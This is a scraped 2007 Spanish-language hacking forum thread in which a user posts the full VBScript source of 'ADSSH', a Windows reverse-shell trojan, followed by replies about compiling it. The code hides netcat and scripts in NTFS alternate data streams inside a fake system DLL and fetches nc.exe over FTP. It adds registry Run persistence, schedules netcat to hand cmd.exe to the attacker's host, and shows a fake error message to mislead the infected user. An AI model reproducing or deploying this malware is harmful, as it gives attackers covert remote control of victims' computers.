hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
25 de Julio de 2008, 04:55:05
Noticias: Que importa si no sabes programar, CPH te enseña, solo haz click
Para ver este enlace Registrate o Inicia Sesion
Aquí

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Hacking (Moderadores: askatasun, HolyKnight, kamui23, CHR0N05, - TuX -)
| | |-+  ADS SH [reverse shell]
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: ADS SH [reverse shell]  (Leído 271 veces)
Edgecrush3r
NZ1
*
Desconectado Desconectado

Mensajes: 80

@ larval stage


Ver Perfil
« : 29 de ſeptiembre de 2007, 05:22:58 »

Aca les dejo un codigo en VBScript de una reverse shell pasiva que estuve haciendo este ultimo tiempo.

Para los que no saben lo que es una reverse shell, se los paso a explicar:

Simplemente se infecta a la victima para que se conecte al atacante. Este estara escuchando en X puerto, esperando la coneccion de la victima. Una vez que se establezca la coneccion, el atacante dispondrá de una linea de comandos en la pc victima, debido a que la entrada/salida de la conección establecida se ha conectado a la linea de comandos de la pc infectada.

                   shell
VICTIMA ------------------>  ATACANTE


El funcionamiento es simple: la típica r-shell que se conecta al cliente usando el netcat. Se busca el nc.exe en el sistema a infectar, y en caso de no estar, se descarga uno de algun server ftp.
Para darle una pizca de creatividad, decidi camuflar ciertos archivos (ya sean los usados para la descarga del netcat, en caso de no estar en el sistema en el momento de la infección u otros) con la técnica de los ADS (alternate data streams).
Cabe destacar que al usar este método, la reverse shell solo funciona en sistemas Windows donde la raiz del sistema este en una particion ntfs...
La r-shell se agrega a la subclave 'run' del registro, para iniciarse cada vez que el infectado inicia su pc. Le agregue cierto tiempo de retardo en la coneccion, para darle tiempo al usuario afectado a conectarse a internet.

Se que es un tanto desordenado y caótico, pero ojala que les sirva de algo. Tambien tiene unos cuantos bugs, y tal vez me haya olvidado alguna linea de código que use en el debugging, pero que en la version real no va. En caso de encontrar alguna, favor de avisar.

------------------------------------------------------------------------------------------------------------------------------




on error resume next
'
'   ADSSH  -  v1.0
'                       
'   Reverse shell para WinXP camuflada con alternate data streams
'   the Pitbull@2007
'
'   Thanks to EsTeBaN~, compañero en las buenas y en la malas.
'
'#CONFIGURACION# -> obligatoria!



const host = "localhost"  'Host que recibira la shell. si, vos
const port = "21" 'puerto en el que escuchara. nuevamente, vos
const ftpServerRoute = "ftp.fu-berlin.de/doc/o-reilly/networksa/tools/nc.exe" 'ruta de descarga del nc.exe
const delay = 1  'tiempo de espera en minutos para la coneccion


'#FIN DE LA CONFIGURACION -> LISTO PARA USAR #

'######################################################################
'##########             EMPIEZA CODIGO PRINCIPAL       ################
'######################################################################

const VBSregKey = "cmdslibr" 'nombre de la/s futura clave en ****Run y ***Ap


set fso = createobject("scripting.file systemobject") 'objeto para manipular files
adsFile = fso.GetSpecial Folder(SystemFolder) & "\system32\btpanui.dll" 'nombre del archivo contenedor
adsInst = adsFile & ":ins" 'el stream de un archivo de instrucciones ftp
adsNC = adsFile & ":svcc.exe" 'el netcat renombrado
adsVBS = adsFile & ":cmdslib.vbs" 'un vbs que se ejecuta al inicio

batchfile = fso.getspecial folder(SystemFolder) & "\fatr.bat" 'archivo usado en la descarga ftp

URL = replace(ftpServerRoute, left(ftpServerRoute, instr(ftpServerRoute, "/") - 1), "")
sFTP = replace(ftpServerRoute, URL, "")



if not infectado() then 'si no esta infectado... infectamos
   
    if not fso.FileExists(adsFile) then  crearDLL() 'donde ocultaremos todos los archivos
        if not fso.FileExists(adsInst) then GuardarInstruc ciones() 'instrucciones para una descarga ftp
        if not fso.FileExists(adsNC) then GuardarNetcat() 'escondemos el netcat
        if not fso.FileExists(adsVBS) then GuardarScript() 'el script que iniciaremos con windows

    AgregarAlRegis tro() 'agrega el script y el nc a varias subclaves
   

end if

'ejecuto con 'at' para que el nc se conecte despues de un cierto time

createobject("wscript.shell").run "AT " & hour(now()) & ":" & (minute(now()) + delay) & " " & adsNC & " " & host & " " & port & " -d -e cmd.exe"

   
camuflar() 'serie de payasadas poco creibles para hacer pasar la infeccion desapercibida



'######################################################################
'###########             SUBPROCEDIMIEN TOS             ################
'######################################################################

private sub AgregarAlRegis tro()
    'agregamos al registro al archivo *.bat para que haya coneccion cada vez que se inicia la PC.
        createobject("wscript.shell").regwrite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\" & VBSregKey, VBSregKey & ".exe"
    'creamos un path del programa para que sea mas dificil de encontrar
        createobject("wscript.shell").regwrite "HKEY_LOCAL_MAC HINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" & VBSregKey & ".exe\", adsVBS
end sub

private sub crearDLL()
    if fso.FileExists(fso.GetSpecial Folder(SystemFolder) & "\system32\batt.dll") then fso.CopyFile fso.GetSpecial Folder(SystemFolder) & "\system32\batt.dll", adsFile, true
end sub

private sub GuardarScript() 'guardo por ads un script que se ejecutara al iniciar windows
    set vbs = fso.CreateText File(adsVBS, true)
        vbs.writeline("createobject(""wscript.shell"").run (""AT "" & hour(now()) & "":"" & (minute(now()) + " & delay & ") & "" " & adsNC & " " & host & " " & port & " -d -e cmd.exe"")")
        vbs.close()
end sub

private sub GuardarNetcat() 'escondemos el netcat con los queridos alternate data streams
       
    if fso.FileExists(fso.GetSpecial Folder(SystemFolder) & "\system32\nc.exe") then
        fso.CopyFile fso.GetSpecial Folder(SystemFolder) & "\system32\nc.exe", adsNC, true
   
    elseif not fso.FileExists(fso.GetSpecial Folder(SystemFolder) & "\system32\nc.exe") then 'se lo bajamos
               
        set ftp = fso.createtext file(batchfile, True)
      ftp.writeline("@echo off")         
      ftp.writeline("title browselc config")
      ftp.writeline("echo Presione una tecla para continuar . . . ")
      ftp.writeline("ftp -s:" & adsInst & " " & sFTP & " > nul")
      ftp.close
      createobject("wscript.shell").run batchfile
       
    end if
   
end sub

private sub GuardarInstruc ciones()'metemos a un file por ads los comandos ftp, que luego se usaran
     set ftp = fso.createtext file(adsInst, True)
      ftp.writeline("anonymous")         
      ftp.writeline("noHayPassword")
      ftp.writeline("bin")
      ftp.writeline("get " & URL & " " & adsNC)
      ftp.writeline("quit")
       ftp.close              
end sub

private function infectado() 'funcion que chequea si estamos infectados
    if fso.FileExists(adsFile) and _
        fso.FileExists(adsInst) and _
        fso.FileExists(adsNC) and _
        fso.FileExists(adsVBS) then
        infectado = true
        exit function
    else
        infectado = false
        exit function
    end if
end function

private sub camuflar()
    'borramos el *.vbs, para evitar la lectura del script despues de la infección
    'fso.DeleteFile(wscript.script fullname) '(si se compila a exe no se debe usar)

    if fso.FileExists(batchfile) then fso.DeleteFile(batchfile) 'borramos el batch
     
    'Esto no es nada mas que un bucle para retardar la aparicion del msgbox,
    for wait = 0 to 999999 'para que este aparezca despues que la ventana del
    next                   'batchfile, en caso de haberlo tenido que usar

    'para intentar pasar por desapercibida a la infeccion, simulamos un error...
    msgbox "Error de ejecucion: no se encuentra browselc.dll.", 16, "Error"
end sub



------------------------------------------------------------------------------------------------------------------------------

Referencias:


Para ver este enlace Registrate o Inicia Sesion
Placing backdoors through firewalls, Van Hauser, THC
--> Este tipo es un genio.
« Última modificación: 03 de Octubre de 2007, 09:31:13 por the Pitbull » En línea

Cada quien fabrica la verdad que se acople a su mentira personal - "Proyecto Argelia", Fatal -
Para ver este enlace Registrate o Inicia Sesion
Raza Mexicana

mycrox
Colaborador
****
Desconectado Desconectado

Mensajes: 542


En la alabanza todo mi ser se eleva hasta el cielo


Ver Perfil
« Respuesta #1 : 29 de ſeptiembre de 2007, 11:06:45 »

me sirve en cualquier compilador de VB???
En línea

Deseas aprender a programar de verdad??
Haz click
Para ver este enlace Registrate o Inicia Sesion
Aqui

Edgecrush3r
NZ1
*
Desconectado Desconectado

Mensajes: 80

@ larval stage


Ver Perfil
« Respuesta #2 : 29 de ſeptiembre de 2007, 12:24:43 »

me sirve en cualquier compilador de VB???

Hasta donde se, no. Tiene que ser específicamente para VBScript.
Y desgraciadamen te no hay ninguno freeware. EsTeBaN~ me hablo de un compilador creado por Hendrix bastante bueno, pero nunca lo probé. Mas tarde le digo que lo postee la *.dll.

Espero ser de ayuda, saludos
« Última modificación: 29 de ſeptiembre de 2007, 12:29:46 por the Pitbull » En línea

Cada quien fabrica la verdad que se acople a su mentira personal - "Proyecto Argelia", Fatal -
Para ver este enlace Registrate o Inicia Sesion
Raza Mexicana

ÄìmBòt
NZ2
**
Desconectado Desconectado

Mensajes: 350



Ver Perfil
« Respuesta #3 : 30 de ſeptiembre de 2007, 10:50:54 »

muy bueno pitbull
En línea

s0ulF!r3
NZ2
**
Desconectado Desconectado

Mensajes: 137

Let the soul be free to fly.


Ver Perfil
« Respuesta #4 : 30 de ſeptiembre de 2007, 08:20:56 »

Hasta donde se, no. Tiene que ser específicamente para VBScript.
Y desgraciadamen te no hay ninguno freeware. EsTeBaN~ me hablo de un compilador creado por Hendrix bastante bueno, pero nunca lo probé. Mas tarde le digo que lo postee la *.dll.

Espero ser de ayuda, saludos

El multi Compiler de hendrix (compila batchs, vbs y otro mas q no me acuerdo)


Para ver este enlace Registrate o Inicia Sesion
Multi Compiler de Hendrix


Hendrix, tendrias q empezar a cobrar para q bajen los archivos de ahi xD
En línea

Let the soul be free to fly
el fantasma
Visitante
« Respuesta #5 : 02 de Octubre de 2007, 02:57:41 »

se mira muy bien abra que provarlo

salu2
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online